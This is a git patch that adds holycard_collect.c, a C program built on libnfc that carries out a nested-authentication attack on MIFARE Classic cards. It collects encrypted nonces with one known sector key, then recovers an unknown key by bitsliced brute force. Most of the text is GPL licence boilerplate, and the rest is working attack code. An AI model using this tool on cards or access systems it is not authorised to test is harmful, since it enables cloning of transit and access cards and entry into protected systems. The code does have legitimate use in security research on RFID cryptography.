From 11f9dafa2dd8e920af821bbcecef1389fb946e09 Mon Sep 17 00:00:00 2001 From: Pin Lin Date: Sun, 16 Apr 2023 04:09:35 +0800 Subject: [PATCH] Copy libnfc_crypto1_crack.c to holycard_collect.c --- .gitignore | 3 + Makefile | 7 +- holycard_collect.c | 738 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 746 insertions(+), 2 deletions(-) create mode 100644 .gitignore create mode 100755 holycard_collect.c diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..30fdae8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +0x*_*.txt + +holycard_collect diff --git a/Makefile b/Makefile index a3d888e..02e737a 100755 --- a/Makefile +++ b/Makefile @@ -10,12 +10,15 @@ CC = gcc CFLAGS = -std=gnu99 -O3 -march=native LDFLAGS= -Wl,--allow-multiple-definition -all: solve_bs solve_piwi_bs solve_piwi libnfc_crypto1_crack +all: holycard_collect CRAPTEV1 = craptev1-v1.1/craptev1.c -I craptev1-v1.1/ CRAPTO1 = crapto1-v3.3/crapto1.c crapto1-v3.3/crypto1.c -I crapto1-v3.3/ CRYPTO1_BS = crypto1_bs.c crypto1_bs_crack.c +holycard_collect: + $(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lnfc -lm $(LDFLAGS) + solve_bs: $(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lm $(LDFLAGS) @@ -29,7 +32,7 @@ libnfc_crypto1_crack: $(CC) $(CFLAGS) $@.c $(CRYPTO1_BS) $(CRAPTO1) ${CRAPTEV1} -o $@ -lpthread -lnfc -lm $(LDFLAGS) clean: - rm -f solve.so solve_bs solve_piwi_bs solve_piwi libnfc_crypto1_crack + rm -f solve.so solve_bs solve_piwi_bs solve_piwi libnfc_crypto1_crack holycard_collect # Windows cross compilation MINGW32 = i686-w64-mingw32-gcc diff --git a/holycard_collect.c b/holycard_collect.c new file mode 100755 index 0000000..3049eb5 --- /dev/null +++ b/holycard_collect.c @@ -0,0 +1,738 @@ +// Copyright (C) 2016 Aram Verstegen +/* + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "crypto1_bs_crack.h" +#define llu PRIu64 + +extern uint64_t * crypto1_create(uint64_t key); +extern uint32_t crypto1_word(uint64_t *, uint32_t, int); +extern uint8_t crypto1_byte(uint64_t*, uint8_t, int); +extern uint32_t prng_successor(uint32_t x, uint32_t n); +extern void crypto1_destroy(uint64_t*); + +#define MC_AUTH_A 0x60 +#define MC_AUTH_B 0x61 + +nfc_device* pnd; +nfc_target target; +typedef uint8_t byte_t; + +uint8_t oddparity(const uint8_t bt) +{ + // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel + return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1; +} + + +long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) +{ + uint64_t num = 0; + while (len--) { + num = (num << 8) | (*src); + src++; + } + return num; +} + +// Sectors 0 to 31 have 4 blocks per sector. +// Sectors 32 to 39 have 16 blocks per sector. +uint8_t block_to_sector(uint8_t block) +{ + uint8_t sector; + if(block < 128) { + return block >> 2; + } + block -= 128; + return 32 + (block >> 4); +} + +static nfc_context *context; + +#define MAX_FRAME_LEN 264 + +uint64_t *nonces = NULL; +size_t nonces_collected; + +enum { + OK, + ERROR, + KEY_WRONG, +}; + +#define VT100_cleareol "\r\33[2K" + +// Almost entirely based on code from Mifare Offline Cracker (MFOC) by Nethemba, cheers guys! :) +int nested_auth(uint32_t uid, uint64_t known_key, uint8_t ab_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp) +{ + uint64_t *pcs; + + // Possible key counter, just continue with a previous "session" + uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce + uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 }; + + uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + + uint8_t Rx[MAX_FRAME_LEN]; // Tag response + uint8_t RxPar[MAX_FRAME_LEN]; // Tag response + + uint32_t Nt; + + int i; + + // Prepare AUTH command + Cmd[0] = ab_key; + Cmd[1] = for_block; + iso14443a_crc_append(Cmd, 2); + + // We need full control over the CRC + if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool crc"); + return ERROR; + } + + // Request plain tag-nonce + // TODO: Set NP_EASY_FRAMING option only once if possible + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool framing"); + return ERROR; + } + + if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) { + fprintf(stdout, "Error while requesting plain tag-nonce "); + return ERROR; + } + + if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool"); + return ERROR; + } + + // Save the tag nonce (Nt) + Nt = bytes_to_num(Rx, 4); + + // Init the cipher with key {0..47} bits + pcs = crypto1_create(known_key); + + // Load (plain) uid^nt into the cipher {48..79} bits + crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0); + + // Generate (encrypted) nr+parity by loading it into the cipher + for (i = 0; i < 4; i++) { + // Load in, and encrypt the reader nonce (Nr) + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]); + } + + // Skip 32 bits in the pseudo random generator + Nt = prng_successor(Nt, 32); + + // Generate reader-answer from tag-nonce + for (i = 4; i < 8; i++) { + // Get the next random byte + Nt = prng_successor(Nt, 8); + // Encrypt the reader-answer (Nt' = suc2(Nt)) + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); + ArEncPar[i] = filter(*pcs) ^ oddparity(Nt); + } + + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) { + nfc_perror(pnd, "nfc_device_set_property_bool parity "); + return 1; + } + + // Transmit reader-answer + int res; + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + fprintf(stderr, "Reader-answer transfer error, exiting.. "); + return KEY_WRONG; + } + + // Decrypt the tag answer and verify that suc3(Nt) is At + Nt = prng_successor(Nt, 32); + + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting.. "); + return ERROR; + } + + Cmd[0] = target_key; + Cmd[1] = target_block; + iso14443a_crc_append(Cmd, 2); + + for (i = 0; i < 4; i++) { + ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i]; + ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]); + } + if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + fprintf(stderr, "Reader-answer transfer error, exiting.. "); + return ERROR; + } + + if(fp){ + for(i = 0; i < 4; i++){ + fprintf(fp,"%02x", Rx[i]); + if(RxPar[i] != oddparity(Rx[i])){ + fprintf(fp,"! "); + } else { + fprintf(fp," "); + } + } + fprintf(fp, "\n"); + } + if(nonces){ + nonces[nonces_collected] = 0; + for(i = 0; i < 4; i++){ + nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i); + nonces[nonces_collected] |= ((uint64_t) !RxPar[i]) << (32 + (8*i)); + } + nonces_collected++; + } + + crypto1_destroy(pcs); + return OK; +} + +uint32_t uid; +uint32_t **space; +uint64_t found_key; +size_t thread_count; +void* crack_states_thread(void* x){ + const size_t thread_id = (size_t)x; + int j; + for(j = thread_id; space[j * 5]; j += thread_count) { + const uint64_t key = crack_states_bitsliced(space + j * 5); + if(key != -1){ + found_key = key; + break; + } + } + return NULL; +} + +bool stop_collection = false; +#define CUTOFF ((uint64_t) 1<<39) + +void * update_predictions_thread(void* p){ + while(!stop_collection){ + if(nonces && uid){ + if(space){ + craptev1_destroy_space(space); + space = NULL; + } + space = craptev1_get_space(nonces, 95, uid); + } + if(space){ + total_states = craptev1_sizeof_space(space); + } + sleep(1); // We don't need to check this more often than once per second + } + return NULL; +} + +void notify_status_offline(int sig){ + printf(VT100_cleareol "Cracking... %6.02f%%", (100.0*total_states_tested/(total_states))); + alarm(1); + fflush(stdout); + signal(SIGALRM, notify_status_offline); +} + +void notify_status_online(int sig){ + if(!total_states){ + printf(VT100_cleareol "Collected %zu nonces... ", nonces_collected); + } else { + printf(VT100_cleareol "Collected %zu nonces... leftover complexity %"llu" (~2^%0.2f)", nonces_collected, total_states, log(total_states) / log(2)); + char c; + if(scanf("%c", &c) == 1 || total_states < CUTOFF){ + printf(" - initializing brute-force phase...\n"); + alarm(0); + stop_collection = true; + return; + } else { + printf(" - press enter to start brute-force phase"); + } + } + alarm(1); + fflush(stdout); + signal(SIGALRM, notify_status_online); +} + +uint64_t known_key; +uint8_t for_block; +uint8_t ab_key; +uint8_t target_block; +uint8_t target_key; +FILE* fp; + +const nfc_modulation nmMifare = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, +}; + +void * update_nonces_thread(void* v){ + while(!stop_collection){ + // Configure the CRC and Parity settings + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + // Poll for a ISO14443A (MIFARE) tag + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, fp); + } else { + printf(VT100_cleareol "Don't move the tag!"); + fflush(stdout); + } + } + return NULL; +} + +int main (int argc, const char * argv[]) { + nfc_init(&context); + pnd = nfc_open(context, NULL); + + if (pnd == NULL) { + fprintf(stderr, "No NFC device connection\n"); + return 1; + } + + nfc_initiator_init(pnd); + + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false); + // Let the reader only try once to find a tag + nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false); + nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true); + nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true); + nfc_device_set_property_bool(pnd,NP_AUTO_ISO14443_4, false); + + uid = 0; + + // Enable field so more power consuming cards can power themselves up + nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true); + if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) { + uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen); + } + + if(!uid){ + fprintf(stderr, "No tag detected!\n"); + // Disconnect from NFC device + nfc_close(pnd); + return 1; + } + + if(argc < 6){ + printf("%s \n", argv[0]); + nfc_close(pnd); + return 1; + } + + known_key = strtoull(argv[1], 0, 16); + for_block = atoi(argv[2]); + ab_key = MC_AUTH_A; + if(argv[3][0] == 'b' || argv[3][0] == 'B'){ + ab_key = MC_AUTH_B; + } + target_block = atoi(argv[4]); + target_key = MC_AUTH_A; + if(argv[5][0] == 'b' || argv[5][0] == 'B'){ + target_key = MC_AUTH_B; + } + switch(nested_auth(uid, known_key, ab_key, for_block, target_block, target_key, NULL)){ + case KEY_WRONG: + printf("%012"PRIx64" doesn't look like the right key %s for block %u (sector %u)\n", known_key, ab_key == MC_AUTH_A ? "A" : "B", for_block, block_to_sector(for_block)); + return 1; + case OK: + break; + case ERROR: + default: + printf("Some other error occurred.\n"); + break; + } + + char filename[21]; + sprintf(filename, "0x%08x_%03u%s.txt", uid, target_block, target_key == MC_AUTH_A ? "A" : "B"); + fp = fopen(filename, "wb"); + + printf("Found tag with uid %04x, collecting nonces for key %s of block %u (sector %u) using known key %s %012"PRIx64" for block %u (sector %u)\n", + uid, target_key == MC_AUTH_A ? "A" : "B", target_block, block_to_sector(target_block), ab_key == MC_AUTH_A ? "A" : "B", known_key, for_block, block_to_sector(for_block)); + nonces_collected = 0; + nonces = malloc(sizeof (uint64_t) << 24); + memset(nonces, 0xff, sizeof (uint64_t) << 24); + + fcntl(0, F_SETFL, O_NONBLOCK); + signal(SIGALRM, notify_status_online); + alarm(1); + pthread_t prediction_thread, nonce_gathering_thread; + pthread_create(&nonce_gathering_thread, NULL, update_nonces_thread, NULL); + pthread_create(&prediction_thread, NULL, update_predictions_thread, NULL); + pthread_join(nonce_gathering_thread, 0); + pthread_join(prediction_thread, 0); + alarm(0); + + if(fp){ + fclose(fp); + } + nfc_close(pnd); + + if(!space){ + space = craptev1_get_space(nonces, 95, uid); + } + if(space){ + total_states = craptev1_sizeof_space(space); + } else { + total_states = 0; + } + if(!total_states){ + fprintf(stderr, "No solution found :(\n"); + return 1; + } + +#ifndef __WIN32 + thread_count = sysconf(_SC_NPROCESSORS_CONF); +#else + thread_count = 1; +#endif + // append some zeroes to the end of the space to make sure threads don't go off into the wild + size_t j = 0; + for(j = 0; space[j]; j+=5){ + } + size_t fill = j + (5*thread_count); + for(; j < fill; j++) { + space[j] = 0; + } + pthread_t threads[thread_count]; + + crypto1_bs_init(); + + uint8_t rollback_byte = **space; + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8); + + for(size_t tests = 0; tests < NONCE_TESTS; tests++){ + // pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine + uint32_t test_nonce = uid^rev32(nonces[tests]); + uint32_t test_parity = (nonces[tests]>>32)^rev32(uid); + test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3); + crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32); + // convert to 32 bit little-endian + crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4); + } + + printf("Starting %zu threads to test %"llu" states using %u-way bitslicing\n", thread_count, total_states, MAX_BITSLICES); + total_states_tested = 0; + keys_found = 0; + signal(SIGALRM, notify_status_offline); + + notify_status_offline(0); + alarm(1); + + size_t i; + for(i = 0; i < thread_count; i++){ + pthread_create(&threads[i], NULL, crack_states_thread, (void*) i); + } + for(i = 0; i < thread_count; i++){ + pthread_join(threads[i], 0); + } + alarm(0); + printf("\n"); + if(!keys_found){ + fprintf(stderr, "No solution found :(\n"); + return 1; + } else { + printf("Found key: %012"PRIx64"\n", found_key); + } + printf("Tested %"llu" states\n", total_states_tested); + + craptev1_destroy_space(space); + return 0; +}